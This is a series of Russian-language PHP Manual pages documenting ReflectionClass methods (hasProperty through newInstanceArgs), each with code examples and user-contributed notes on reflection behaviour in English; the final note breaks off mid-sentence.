  • PHP Manual
  • ReflectionClass
  • Проверяет, определено ли свойство

ReflectionClass::hasProperty

(PHP 5 >= 5.1.2, PHP 7, PHP 8)

ReflectionClass::hasProperty — Проверяет, определено ли свойство

Описание

public ReflectionClass::hasProperty(string $name): bool

Проверяет, определено ли в классе указанное свойство или нет.

Список параметров

name

Имя проверяемого свойства.

Возвращаемые значения

true, если свойство задано, в противном случае false

Примеры

Пример #1 Пример использования ReflectionClass::hasProperty()

<?php
class Foo {
public $p1;
protected $p2;
private $p3;

}

$obj = new ReflectionObject(new Foo());

var_dump($obj->hasProperty("p1"));
var_dump($obj->hasProperty("p2"));
var_dump($obj->hasProperty("p3"));
var_dump($obj->hasProperty("p4"));
?>

Вывод приведённого примера будет похож на:

bool(true)
bool(true)
bool(true)
bool(false)

Смотрите также

  • ReflectionClass::hasConstant() - Проверяет, определена ли константа
  • ReflectionClass::hasMethod() - Проверяет, задан ли метод

User Contributed Notes

dalguete at gmail dot com 18-May-2021 12:48
hasProperty() now is consistent with getProperty() and getProperties() methods, thanks to this fix https://bugs.php.net/bug.php?id=49719

hasProperty() no longer returns true in private properties from parent classes.
dalguete at gmail dot com 17-May-2021 09:19
hasProperty() now is consistent with getProperty() and getProperties() methods, thanks to this fix https://bugs.php.net/bug.php?id=49719

hasProperty() no longer returns true in private properties.
rwilczek at web-appz dot de 13-Oct-2009 05:40
Note, that this method does not guarantee, that you can get a property with ReflectionClass::getProperty().

ReflectionClass::hasProperty() considers the parent classes (ignoring however, that a private property is not inherited), while ReflectionClass::getProperty() and ReflectionClass::getProperties() don't care about inheritance.

(Tested with PHP 5.3.0)

<?php
class Foo
{
    private $x;
}

class Bar extends Foo
{
    //
}

$foo = new ReflectionClass('Foo');
$bar = new ReflectionClass('Bar');

var_dump($foo->hasProperty('x'); // bool(true)
var_dump($bar->hasProperty('x'); // bool(true)

var_dump(get_class($foo->getProperty('x'))); //string(18) "ReflectionProperty"
try {
    $bar->getProperty('x');
} catch (ReflectionException $e) {
    echo $e->getMessage(); // Property x does not exist
}
?>


Проверяет, реализуется ли интерфейс

  • « ReflectionClass::hasProperty
  • ReflectionClass::inNamespace »
  • PHP Manual
  • ReflectionClass
  • Проверяет, реализуется ли интерфейс

ReflectionClass::implementsInterface

(PHP 5, PHP 7, PHP 8)

ReflectionClass::implementsInterface — Проверяет, реализуется ли интерфейс

Описание

public ReflectionClass::implementsInterface(ReflectionClass|string $interface): bool

Проверяет, реализует ли класс указанный интерфейс или нет.

Список параметров

interface

Имя интерфейса.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false, если возникла ошибка.

Ошибки

ReflectionClass::implementsInterface() выбрасывает ReflectionException, если interface не является интерфейсом.

Смотрите также

  • ReflectionClass::isInterface() - Проверяет, является ли класс интерфейсом
  • ReflectionClass::isSubclassOf() - Проверяет, является ли класс подклассом
  • interface_exists() - Проверяет, определён ли интерфейс
  • Интерфейсы объектов

User Contributed Notes

jtunaley at gmail dot com 06-Jun-2018 10:22
Note that this method also returns true when the thing you're reflecting is the interface you're checking for:

<?php
interface MyInterface {}

$reflect = new ReflectionClass('MyInterface');
var_dump($reflect->implementsInterface('MyInterface')); // bool(true)
?>
keepchen2016 at gmail dot com 02-Jun-2017 08:49
interface Factory
{
    public function sayHello();
}

class ParentClass implements Factory
{
    public function sayHello()
    {
        echo "hello\n";
    }
}

class ChildrenClass extends ParentClass
{

}

$reflect = new ReflectionClass('ParentClass');
var_dump($reflect->implementsInterface('Factory'));

$second_ref = new ReflectionClass('ChildrenClass');
var_dump($second_ref->isSubclassOf('ParentClass'));

$third_ref = new ReflectionClass('Factory');
var_dump($third_ref->isInterface());

//can not be called as static
var_dump(ReflectionClass::isInterface('Factory'));
die;
//#result
bool(true)
bool(true)
bool(true)
PHP Fatal error:  Non-static method ReflectionClass::isInterface() cannot be called statically
dhairya dot coder at gmail dot com 11-Feb-2016 03:48
//checks that whether class Fruit implements interface apple or not

interface Apple {

    function taste();
}

class Fruit implements Apple {

    function taste() {
        echo "Seet";
    }
}

$obj=new ReflectionClass('Fruit');
var_dump($obj->implementsInterface('Apple'));  //Here it will checks that whether class Fruit implements interface apple or not


Проверяет, определён ли класс в пространстве имён

  • « ReflectionClass::implementsInterface
  • ReflectionClass::isAbstract »
  • PHP Manual
  • ReflectionClass
  • Проверяет, определён ли класс в пространстве имён

ReflectionClass::inNamespace

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

ReflectionClass::inNamespace — Проверяет, определён ли класс в пространстве имён

Описание

public ReflectionClass::inNamespace(): bool

Проверяет, определён ли класс в пространстве имён.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false, если возникла ошибка.

Примеры

Пример #1 Пример использования ReflectionClass::inNamespace()

<?php
namespace A\B;

class Foo { }

$function = new \ReflectionClass('stdClass');

var_dump($function->inNamespace());
var_dump($function->getName());
var_dump($function->getNamespaceName());
var_dump($function->getShortName());

$function = new \ReflectionClass('A\\B\\Foo');

var_dump($function->inNamespace());
var_dump($function->getName());
var_dump($function->getNamespaceName());
var_dump($function->getShortName());
?>

Результат выполнения приведённого примера:

bool(false)
string(8) "stdClass"
string(0) ""
string(8) "stdClass"

bool(true)
string(7) "A\B\Foo"
string(3) "A\B"
string(3) "Foo"

Смотрите также

  • ReflectionClass::getNamespaceName() - Возвращает название пространства имён
  • Пространства имён PHP

User Contributed Notes

There are no user contributed notes for this page.


Проверяет, является ли класс абстрактным

  • « ReflectionClass::inNamespace
  • ReflectionClass::isAnonymous »
  • PHP Manual
  • ReflectionClass
  • Проверяет, является ли класс абстрактным

ReflectionClass::isAbstract

(PHP 5, PHP 7, PHP 8)

ReflectionClass::isAbstract — Проверяет, является ли класс абстрактным

Описание

public ReflectionClass::isAbstract(): bool

Проверяет, является ли класс абстрактным.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false, если возникла ошибка.

Примеры

Пример #1 Пример использования ReflectionClass::isAbstract()

<?php
class TestClass { }
abstract class TestAbstractClass { }

$testClass = new ReflectionClass('TestClass');
$abstractClass = new ReflectionClass('TestAbstractClass');

var_dump($testClass->isAbstract());
var_dump($abstractClass->isAbstract());
?>

Результат выполнения приведённого примера:

bool(false)
bool(true)

Смотрите также

  • ReflectionClass::isInterface() - Проверяет, является ли класс интерфейсом
  • Абстрактные классы

User Contributed Notes

baptiste at pillot dot fr 15-Sep-2023 01:06
For traits:
- ReflectionClass::isAbstract returns true if the trait contains at least one un-implemented abstract method, including those declared into used traits.
- ReflectionClass::isAbstract returns false if all methods are implemented.

<?php
trait TI { public function has() {} }
var_dump((new ReflectionClass(TI::class))->isAbstract());

trait TT { abstract public function has(); }
trait T { use TT; }
var_dump((new ReflectionClass(T::class))->isAbstract());
?>
Will output:
bool(false)
bool(true)

For interfaces:
- ReflectionClass::isAbstract returns true if the interface contains at least one method, including into its extended interfaces.
- ReflectionClass::isAbstract returns false if the interface contains no method.

<?php
interface AI {}
var_dump((new ReflectionClass(AI::class))->isAbstract());

interface II { public function has(); }
interface I extends II {}
var_dump((new ReflectionClass(I::class))->isAbstract());
?>
Will output:
bool(false)
bool(true)

For classes:
- Reflection::isAbstract returns true if the class is marked as abstract, no matter if it contains abstract methods or not.
baptiste at pillot dot fr 10-Oct-2016 12:06
For interfaces and traits :

<?php
interface TestInterface { }
trait     TestTrait { }

$interfaceClass = new ReflectionClass('TestInterface');
$traitClass     = new ReflectionClass('TestTrait');

var_dump($interfaceClass->isAbstract());
var_dump($traitClass->isAbstract());
?>

Using PHP versions 5.4- to 5.6, the above example will output:

bool(false)
bool(true)

Using PHP versions 7.0+, the above example will output:

bool(false)
bool(false)


Проверяет, является класс анонимным

  • « ReflectionClass::isAbstract
  • ReflectionClass::isCloneable »
  • PHP Manual
  • ReflectionClass
  • Проверяет, является класс анонимным

ReflectionClass::isAnonymous

(PHP 7, PHP 8)

ReflectionClass::isAnonymous — Проверяет, является класс анонимным

Описание

public ReflectionClass::isAnonymous(): bool

Проверяет, анонимный класс или нет.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false, если возникла ошибка.

Примеры

Пример #1 Пример ReflectionClass::isAnonymous()

<?php
class TestClass {}
$anonClass = new class {};

$normalClass = new ReflectionClass('TestClass');
$anonClass = new ReflectionClass($anonClass);

var_dump($normalClass->isAnonymous());
var_dump($anonClass->isAnonymous());

?>

Результат выполнения приведённого примера:

bool(false)
bool(true)

Смотрите также

  • ReflectionClass::isFinal() - Проверяет, является ли класс окончательным (final)

User Contributed Notes

There are no user contributed notes for this page.


Проверяет, можно ли клонировать этот класс

  • « ReflectionClass::isAnonymous
  • ReflectionClass::isEnum »
  • PHP Manual
  • ReflectionClass
  • Проверяет, можно ли клонировать этот класс

ReflectionClass::isCloneable

(PHP 5 >= 5.4.0, PHP 7, PHP 8)

ReflectionClass::isCloneable — Проверяет, можно ли клонировать этот класс

Описание

public ReflectionClass::isCloneable(): bool

Проверяет, можно ли клонировать этот класс.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает true, если класс можно клонировать, в противном случае false.

Примеры

Пример #1 Пример использования ReflectionClass::isCloneable()

<?php
class NotCloneable {
public $var1;

private function __clone() {
}
}

class Cloneable {
public $var1;
}

$notCloneable = new ReflectionClass('NotCloneable');
$cloneable = new ReflectionClass('Cloneable');

var_dump($notCloneable->isCloneable());
var_dump($cloneable->isCloneable());
?>

Результат выполнения приведённого примера:

bool(false)
bool(true)

User Contributed Notes

info at ensostudio dot ru 28-Aug-2022 04:36
similar function:
<?php
function isCloneable(object $obj): bool
{
       return !method_exists($obj, '__clone') || is_callable([$obj, '__clone']);
}
?>
info at ensostudio dot ru 28-Aug-2022 04:01
this method checks is  `__clone()`  method was declared as private
xxxargonxxx at gmail dot com 12-Sep-2019 05:05
I wonder how this method decides of is it clonable or not. There is no explanation.
php at abiusx dot com 18-Aug-2016 04:29
This does not work for many of core-classes, just like most other reflection methods.


Возвращает, является ли класс перечислением

  • « ReflectionClass::isCloneable
  • ReflectionClass::isFinal »
  • PHP Manual
  • ReflectionClass
  • Возвращает, является ли класс перечислением

ReflectionClass::isEnum

(PHP 8 >= 8.1.0)

ReflectionClass::isEnum — Возвращает, является ли класс перечислением

Описание

public ReflectionClass::isEnum(): bool

Проверяет, является ли класс перечислением.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает true, если класс является перечислением, в противном случае возвращает false.

User Contributed Notes

There are no user contributed notes for this page.


Проверяет, является ли класс окончательным (final)

  • « ReflectionClass::isEnum
  • ReflectionClass::isInstance »
  • PHP Manual
  • ReflectionClass
  • Проверяет, является ли класс окончательным (final)

ReflectionClass::isFinal

(PHP 5, PHP 7, PHP 8)

ReflectionClass::isFinal — Проверяет, является ли класс окончательным (final)

Описание

public ReflectionClass::isFinal(): bool

Проверяет, является ли класс окончательным (final).

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false, если возникла ошибка.

Примеры

Пример #1 Пример использования ReflectionClass::isFinal()

<?php
class TestClass { }
final class TestFinalClass { }

$normalClass = new ReflectionClass('TestClass');
$finalClass = new ReflectionClass('TestFinalClass');

var_dump($normalClass->isFinal());
var_dump($finalClass->isFinal());

?>

Результат выполнения приведённого примера:

bool(false)
bool(true)

Смотрите также

  • ReflectionClass::isAbstract() - Проверяет, является ли класс абстрактным
  • Ключевое слово "final"

User Contributed Notes

There are no user contributed notes for this page.


Проверяет, принадлежит ли объект классу

  • « ReflectionClass::isFinal
  • ReflectionClass::isInstantiable »
  • PHP Manual
  • ReflectionClass
  • Проверяет, принадлежит ли объект классу

ReflectionClass::isInstance

(PHP 5, PHP 7, PHP 8)

ReflectionClass::isInstance — Проверяет, принадлежит ли объект классу

Описание

public ReflectionClass::isInstance(object $object): bool

Проверяет, является ли объект экземпляром класса.

Список параметров

object

Проверяемый объект.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false, если возникла ошибка.

Примеры

Пример #1 Пример использования ReflectionClass::isInstance() и его аналогов

<?php
// Пример использования
$class = new ReflectionClass('Foo');

if ($class->isInstance($arg)) {
echo "Yes";
}

// Аналогично этому
if ($arg instanceof Foo) {
echo "Yes";
}

// Аналогично этому
if (is_a($arg, 'Foo')) {
echo "Yes";
}
?>

Вывод приведённого примера будет похож на:

Yes
Yes
Yes

Смотрите также

  • ReflectionClass::isInterface() - Проверяет, является ли класс интерфейсом
  • Операторы проверки типа (instanceof)
  • Интерфейсы объектов
  • is_a() - Проверяет, принадлежит ли объект к типу или подтипу

User Contributed Notes

dhairya lakhera 11-Feb-2016 04:55
class  TestClass { }

$TestObj=new TestClass();

$TestObj_assigned=$TestObj;
$TestObj_Refrenced=&$TestObj;
$TestObj_cloned=clone $TestObj;

$obj=new ReflectionClass('TestClass');

var_dump($obj->isInstance($TestObj));
var_dump($obj->isInstance($TestObj_assigned));
var_dump($obj->isInstance($TestObj_Refrenced));
var_dump($obj->isInstance($TestObj_cloned));


Проверяет, можно ли создать экземпляр класса

  • « ReflectionClass::isInstance
  • ReflectionClass::isInterface »
  • PHP Manual
  • ReflectionClass
  • Проверяет, можно ли создать экземпляр класса

ReflectionClass::isInstantiable

(PHP 5, PHP 7, PHP 8)

ReflectionClass::isInstantiable — Проверяет, можно ли создать экземпляр класса

Описание

public ReflectionClass::isInstantiable(): bool

Проверяет, можно ли создать экземпляр класса.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false, если возникла ошибка.

Примеры

Пример #1 Пример использования ReflectionClass::isInstantiable()

<?php
class C { }

interface iface {
function f1();
}

class ifaceImpl implements iface {
function f1() {}
}

abstract class abstractClass {
function f1() { }
abstract function f2();
}

class D extends abstractClass {
function f2() { }
}

trait T {
function f1() {}
}

class privateConstructor {
private function __construct() { }
}

$classes = array(
"C",
"iface",
"ifaceImpl",
"abstractClass",
"D",
"T",
"privateConstructor",
);

foreach($classes as $class ) {
$reflectionClass = new ReflectionClass($class);
echo "Можно ли создать экземпляр класса $class? ";
var_dump($reflectionClass->isInstantiable());
}

?>

Результат выполнения приведённого примера:

Можно ли создать экземпляр класса C?  bool(true)
Можно ли создать экземпляр класса iface?  bool(false)
Можно ли создать экземпляр класса ifaceImpl?  bool(true)
Можно ли создать экземпляр класса abstractClass?  bool(false)
Можно ли создать экземпляр класса D?  bool(true)
Можно ли создать экземпляр класса T?  bool(false)
Можно ли создать экземпляр класса privateConstructor?  bool(false)

Смотрите также

  • ReflectionClass::isInstance() - Проверяет, принадлежит ли объект классу

User Contributed Notes

shaun at slickdesign dot com dot au 19-Apr-2018 05:37
An example missing from the documentation is that `ReflectionClass::isInstantiable` will also return false for traits, as well as interfaces and abstract classes.

<?php
trait t {
    // Optional trait methods and properties etc.
}

$reflectionClass = new ReflectionClass("t");
var_dump($reflectionClass->isInstantiable()); // bool(false)
?>

As for classes with private constructors, it is still possible to create an instance by either bypassing the constructor using `ReflectionClass::newInstanceWithoutConstructor`, or by ensuring the class has a method which can create a new instance.

<?php
class p {
    private function __construct() {
        // Optional constructor logic - not called when ReflectionClass::newInstanceWithoutConstructor is used.
    }

    public static function create() {
        return new p;
    }

    // Optional methods and properties etc.
}

// Class is not classed as instantiable.
$reflectionClass = new ReflectionClass("p");
var_dump($reflectionClass->isInstantiable()); // bool(false)

// We're still able to create an instance using one of the two methods.
$p = p::create();
$p = $reflectionClass->newInstanceWithoutConstructor();
?>

The same is also true for protected constructors, however, the class can be instantiated from either parent or child methods, depending on where the constructor is defined.

<?php
class p {
    protected function __construct() {
        // Optional constructor logic.
    }

    public static function create( $class = "" ) {
        if (!$class) {
            $class = get_called_class();
        }
        return new $class;
    }

    // Optional parent methods and properties etc.
}

class c extends p
{
    // Optional child methods and properties etc.
}

// Both child and parent static methods have access to each other's protected constructor.
$p = c::create("p");
$c = p::create("c");

// Both are still not classed as being instantiable.
$reflectionClassP = new ReflectionClass("p");
$reflectionClassC = new ReflectionClass("c");
var_dump($reflectionClassP->isInstantiable()); // bool(false)
var_dump($reflectionClassC->isInstantiable()); // bool(false)

// We're still able to bypass the constructor and create an instance for each.
$p = $reflectionClassP->newInstanceWithoutConstructor();
$c = $reflectionClassC->newInstanceWithoutConstructor();
?>


Проверяет, является ли класс интерфейсом

  • « ReflectionClass::isInstantiable
  • ReflectionClass::isInternal »
  • PHP Manual
  • ReflectionClass
  • Проверяет, является ли класс интерфейсом

ReflectionClass::isInterface

(PHP 5, PHP 7, PHP 8)

ReflectionClass::isInterface — Проверяет, является ли класс интерфейсом

Описание

public ReflectionClass::isInterface(): bool

Проверяет, является ли класс интерфейсом или нет.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false, если возникла ошибка.

Примеры

Пример #1 Пример использования ReflectionClass::isInterface()

<?php
interface SomeInterface {
public function interfaceMethod();
}

$class = new ReflectionClass('SomeInterface');
var_dump($class->isInterface());
?>

Результат выполнения приведённого примера:

bool(true)

Смотрите также

  • ReflectionClass::isInstance() - Проверяет, принадлежит ли объект классу

User Contributed Notes

There are no user contributed notes for this page.


Проверяет, является ли класс встроенным в модуль или в ядро

  • « ReflectionClass::isInterface
  • ReflectionClass::isIterable »
  • PHP Manual
  • ReflectionClass
  • Проверяет, является ли класс встроенным в модуль или в ядро

ReflectionClass::isInternal

(PHP 5, PHP 7, PHP 8)

ReflectionClass::isInternal — Проверяет, является ли класс встроенным в модуль или в ядро

Описание

public ReflectionClass::isInternal(): bool

Проверяет, является ли класс встроенным в модуль или в ядро, а не пользовательским.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false, если возникла ошибка.

Примеры

Пример #1 Пример использования ReflectionClass::isInternal()

<?php
$internalclass = new ReflectionClass('ReflectionClass');

class Apple {}
$userclass = new ReflectionClass('Apple');

var_dump($internalclass->isInternal());
var_dump($userclass->isInternal());
?>

Результат выполнения приведённого примера:

bool(true)
bool(false)

Смотрите также

  • ReflectionClass::isUserDefined() - Проверяет, является ли класс пользовательским

User Contributed Notes

There are no user contributed notes for this page.


Проверяет, итерируем ли класс

  • « ReflectionClass::isInternal
  • ReflectionClass::isIterateable »
  • PHP Manual
  • ReflectionClass
  • Проверяет, итерируем ли класс

ReflectionClass::isIterable

(PHP 7 >= 7.2.0, PHP 8)

ReflectionClass::isIterable — Проверяет, итерируем ли класс

Описание

public ReflectionClass::isIterable(): bool

Метод проверяет, реализует ли класс интерфейс Iterator, т. е. получится ли обойти класс в цикле foreach.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false, если возникла ошибка.

Примеры

Пример #1 Пример использования метода ReflectionClass::isIterable()

<?php

class IteratorClass implements Iterator
{
public function __construct() {}
public function key() {}
public function current() {}
function next() {}
function valid() {}
function rewind() {}
}

class DerivedClass extends IteratorClass {}

class NonIterator {}

function dump_iterable($class)
{
$reflection = new ReflectionClass($class);
var_dump($reflection->isIterable());
}

$classes = array("ArrayObject", "IteratorClass", "DerivedClass", "NonIterator");

foreach ($classes as $class) {
echo "Класс $class итерируемый? ";
dump_iterable($class);
}

?>

Результат выполнения приведённого примера:

Класс ArrayObject итерируемый? bool(true)
Класс IteratorClass итерируемый? bool(true)
Класс DerivedClass итерируемый? bool(true)
Класс NonIterator итерируемый? bool(false)

Смотрите также

  • ReflectionClass::__construct() - Создаёт объект класса ReflectionClass

User Contributed Notes

There are no user contributed notes for this page.


Псевдоним ReflectionClass::isIterable

  • « ReflectionClass::isIterable
  • ReflectionClass::isReadOnly »
  • PHP Manual
  • ReflectionClass
  • Псевдоним ReflectionClass::isIterable

ReflectionClass::isIterateable

(PHP 5, PHP 7, PHP 8)

ReflectionClass::isIterateable — Псевдоним ReflectionClass::isIterable()

Описание

Псевдоним ReflectionClass::isIterable()

Начиная с PHP 7.2.0, вместо метода RefectionClass::isIterateable(), , в имя которого закралась синтаксическая ошибка, стоит использовать правильно именованный метод ReflectionClass::isIterable().

User Contributed Notes

There are no user contributed notes for this page.


Проверяет, является ли класс доступным только для чтения

  • « ReflectionClass::isIterateable
  • ReflectionClass::isSubclassOf »
  • PHP Manual
  • ReflectionClass
  • Проверяет, является ли класс доступным только для чтения

ReflectionClass::isReadOnly

(PHP 8 >= 8.2.0)

ReflectionClass::isReadOnly — Проверяет, является ли класс доступным только для чтения

Описание

public ReflectionClass::isReadOnly(): bool

Проверяет, является ли класс доступным только для чтения

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Метод возвращает true, если класс является доступным только для чтения, в противном случае возвращает false.

Примеры

Пример #1 Пример использования ReflectionClass::isReadOnly()

<?php
class TestClass { }
readonly class TestReadOnlyClass { }

$normalClass = new ReflectionClass('TestClass');
$readonlyClass = new ReflectionClass('TestReadOnlyClass');

var_dump($normalClass->isReadOnly());
var_dump($readonlyClass->isReadOnly());

?>

Результат выполнения приведённого примера:

bool(false)
bool(true)

Смотрите также

  • ReflectionClass::isAbstract() - Проверяет, является ли класс абстрактным
  • Классы, доступные только для чтения

User Contributed Notes

There are no user contributed notes for this page.


Проверяет, является ли класс подклассом

  • « ReflectionClass::isReadOnly
  • ReflectionClass::isTrait »
  • PHP Manual
  • ReflectionClass
  • Проверяет, является ли класс подклассом

ReflectionClass::isSubclassOf

(PHP 5, PHP 7, PHP 8)

ReflectionClass::isSubclassOf — Проверяет, является ли класс подклассом

Описание

public ReflectionClass::isSubclassOf(ReflectionClass|string $class): bool

Проверяет, является ли класс подклассом указанного класса или реализует ли указанный интерфейс.

Список параметров

class

Строка с именем проверяемого класса либо объект класса ReflectionClass.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false, если возникла ошибка.

Смотрите также

  • ReflectionClass::isInterface() - Проверяет, является ли класс интерфейсом
  • ReflectionClass::implementsInterface() - Проверяет, реализуется ли интерфейс
  • is_subclass_of() - Проверяет, принадлежит ли объект к потомкам класса, или реализует ли объект или родители объекта интерфейс
  • get_parent_class() - Получает имя родительского класса для объекта или класса

User Contributed Notes

voitcus at gmail dot com 23-Oct-2019 06:02
Note, that this method is a bit different than the `instanceof` operator, which returns true, when it is a subclass or the very same class (interface). Here, only being a subclass results in true, eg.

class A {}
class B extends A {}

$a = new ReflectionClass('A');
$AA = new A;
$b = new ReflectionClass('B');
$BB = new B;

var_dump($a->isSubclassOf($b)); // false
var_dump($AA instanceof $BB); // false

var_dump($b->isSubclassOf($a)); // true
var_dump($BB instanceof $AA); // true

var_dump($a->isSubclassOf($a)); // false
var_dump($AA instanceof $AA); // true
dhairya lakhera 11-Feb-2016 05:22
class A {}
class B {}
class C extends B {}

$obj=new ReflectionClass('C');

var_dump($obj->isSubclassOf ('A')); //boolean false
var_dump($obj->isSubclassOf ('B')); //boolean true


Проверяет, является ли это трейтом

  • « ReflectionClass::isSubclassOf
  • ReflectionClass::isUserDefined »
  • PHP Manual
  • ReflectionClass
  • Проверяет, является ли это трейтом

ReflectionClass::isTrait

(PHP 5 >= 5.4.0, PHP 7, PHP 8)

ReflectionClass::isTrait — Проверяет, является ли это трейтом

Описание

public ReflectionClass::isTrait(): bool

Проверяет, относится ли данный ReflectionClass к трейту.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает true, если это является трейтом, в противном случае false.

User Contributed Notes

There are no user contributed notes for this page.


Проверяет, является ли класс пользовательским

  • « ReflectionClass::isTrait
  • ReflectionClass::newInstance »
  • PHP Manual
  • ReflectionClass
  • Проверяет, является ли класс пользовательским

ReflectionClass::isUserDefined

(PHP 5, PHP 7, PHP 8)

ReflectionClass::isUserDefined — Проверяет, является ли класс пользовательским

Описание

public ReflectionClass::isUserDefined(): bool

Проверяет, является ли класс пользовательским, а не встроенным.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false, если возникла ошибка.

Смотрите также

  • ReflectionClass::isInternal() - Проверяет, является ли класс встроенным в модуль или в ядро

User Contributed Notes

dhairya lakhera 11-Feb-2016 05:38
$internalclass = new ReflectionClass('ReflectionClass');

class Apple {}
$userclass = new ReflectionClass('Apple');

var_dump($internalclass->isUserDefined());
var_dump($userclass->isUserDefined());


Создаёт экземпляр класса с переданными аргументами

  • « ReflectionClass::isUserDefined
  • ReflectionClass::newInstanceArgs »
  • PHP Manual
  • ReflectionClass
  • Создаёт экземпляр класса с переданными аргументами

ReflectionClass::newInstance

(PHP 5, PHP 7, PHP 8)

ReflectionClass::newInstance — Создаёт экземпляр класса с переданными аргументами

Описание

public ReflectionClass::newInstance(mixed ...$args): object

Создаёт новый экземпляр класса. Принятые аргументы передаются в конструктор класса.

Список параметров

args

Принимает произвольное число аргументов, подобно функции call_user_func(), которые затем передаются в конструктор класса.

Возвращаемые значения

Ошибки

Если конструктор не является общедоступным (public), то это приведёт к выбрасыванию исключения ReflectionException.

Если конструктор отсутствует, а параметр args имеет один и более аргументов, то это приведёт к выбрасыванию исключения ReflectionException.

Смотрите также

  • ReflectionClass::newInstanceArgs() - Создаёт экземпляр класса с переданными параметрами
  • ReflectionClass::newInstanceWithoutConstructor() - Создаёт новый экземпляр класса без вызова конструктора

User Contributed Notes

glen at delfi dot ee 07-Oct-2015 11:19
looks like reflection class newInstance creates in memory representation of code where values are used, so using reference as constructor signature, you can not use this method.

as  the same input if called via new, or new $class works, but not via reflection:

 class a {
     public function __construct(&$a, $c) {
     }
 }

// this works
 $A = new stdClass();
 $a = new a($A, 11);

 // also this works
 $classname = "a";
 $a = new $classname($A, 10);

 // but this fails:
 $r = new ReflectionClass("a");
 $r->newInstance($A, 10);

 PHP Warning:  Parameter 1 to a::__construct() expected to be a reference, value given in reflection.php on line 15

 PHP Warning:  ReflectionClass::newInstance(): Invocation of a's constructor failed in reflection.php on line 15


Создаёт экземпляр класса с переданными параметрами

  • « ReflectionClass::newInstance
  • ReflectionClass::newInstanceWithoutConstructor »
  • PHP Manual
  • ReflectionClass
  • Создаёт экземпляр класса с переданными параметрами

ReflectionClass::newInstanceArgs

(PHP 5 >= 5.1.3, PHP 7, PHP 8)

ReflectionClass::newInstanceArgs — Создаёт экземпляр класса с переданными параметрами

Описание

public ReflectionClass::newInstanceArgs(array $args = []): ?object

Создаёт новый экземпляр класса. Принятые аргументы передаются в конструктор класса.

Список параметров

args

Массив (array) аргументов, который затем передаётся в конструктор класса.

Возвращаемые значения

Возвращает новый экземпляр класса или null в случае возникновения ошибки.

Ошибки

Если конструктор не является public (общедоступным), то это приведёт к генерации исключения ReflectionException.

Если конструктор отсутствует, а параметр args имеет один и более аргументов, то это приведёт к генерации исключения ReflectionException.

Примеры

Пример #1 Пример использования ReflectionClass::newInstanceArgs()

<?php
$class = new ReflectionClass('ReflectionFunction');
$instance = $class->newInstanceArgs(array('substr'));
var_dump($instance);
?>

Результат выполнения приведённого примера:

object(ReflectionFunction)#2 (1) {
  ["name"]=>
  string(6) "substr"
}

Смотрите также

  • ReflectionClass::newInstance() - Создаёт экземпляр класса с переданными аргументами
  • ReflectionClass::newInstanceWithoutConstructor() - Создаёт новый экземпляр класса без вызова конструктора

User Contributed Notes

kirillsaksin at no-spam dot yandex dot ru 10-Nov-2015 05:59
Hack to properly instantiate class with private constructor:

<?php

class TestClass
{
    private $property;
    private function __construct($argument)
    {
        $this->property = $argument;
    }
}

$ref = new ReflectionClass(TestClass::class);
$instance = $ref->newInstanceWithoutConstructor();
var_dump($instance);
echo PHP_EOL . '------------------------' . PHP_EOL . PHP_EOL;
$constructor = $ref->getConstructor();
$constructor->setAccessible(true);
$constructor->invokeArgs($instance, ['It works!']);
var_dump($instance);

// Output:
// class TestClass#3 (1) {
//   private $property =>
//   NULL
// }
//
// ------------------------
//
// class TestClass#3 (1) {
//   private $property =>
//   string(9) "It works!"
// }

?>
dev at yopmail dot com 04-Jul-2015 03:06
With PHP 5.6, we can use the ... (T_ELLIPSIS) operator

<?php

class Test {
    public function __construct($a, $b) {
        echo $a . ' ' . $b;
    }
}

$args = array(12, 34);
new Test(... $args); // Displays "12 34"

?>
talk at stephensugden dot com 30-Oct-2010 03:17
This is the way I dynamically instantiate objects in my lightweight IoC container

<?php

class SimpleContainer {

  // ...

  // Creates an instance of an object with the provided array of arguments
  protected function instantiate($name, $args=array()){
    if(empty($args))
      return new $name();
    else {
      $ref = new ReflectionClass($name);
      return $ref->newInstanceArgs($args);
    }
  }
  // ...
}
?>

I explicitly do NOT handle the case where a user passes constructor arguments for a constructor-less class, as I this SHOULD fail.
sausage at tehsausage dot com 21-Aug-2010 04:14
Annoyingly, this will throw an exception for classes with no constructor even if you pass an empty array for the arguments. For generic programming you should avoid this function and use call_user_func_array with newInstance.
sarfraznawaz2005 at gmail dot com 14-Dec-2009 11:31
I use reflection class and also detect whether arguments are passed by reference or passed by value
and then initiate/call the method successfully with those arguments:

<?php
    if (count($args) > 1)
    {
        if (method_exists($class_name,  '__construct') === false)
        {
            exit("Constructor for the class <strong>$class_name</strong> does not exist, you should not pass arguments to the constructor of this class!");
        }

        $refMethod = new ReflectionMethod($class_name,  '__construct');
        $params = $refMethod->getParameters();

        $re_args = array();

        foreach($params as $key => $param)
        {
            if ($param->isPassedByReference())
            {
                $re_args[$key] = &$args[$key];
            }
            else
            {
                $re_args[$key] = $args[$key];
            }
        }

        $refClass = new ReflectionClass($class_name);
        $class_instance = $refClass->newInstanceArgs((array) $re_args);
    }
?>
kevinpeno at gmail dot com 16-Sep-2009 08:11
I misunderstood this function to be a sort of setter of Reflection::newInstance() arguments in an array form rather than a creator of new instances itself.

This function is equivilant to call_user_func_array() while Reflection::newInstance() is equivilant to call_user_func()
richardcook at gmail dot com 12-Apr-2009 02:39
the newInstanceArgs function cannot call a class' constructor if it has references in its arguments, so be careful what you pass into it:
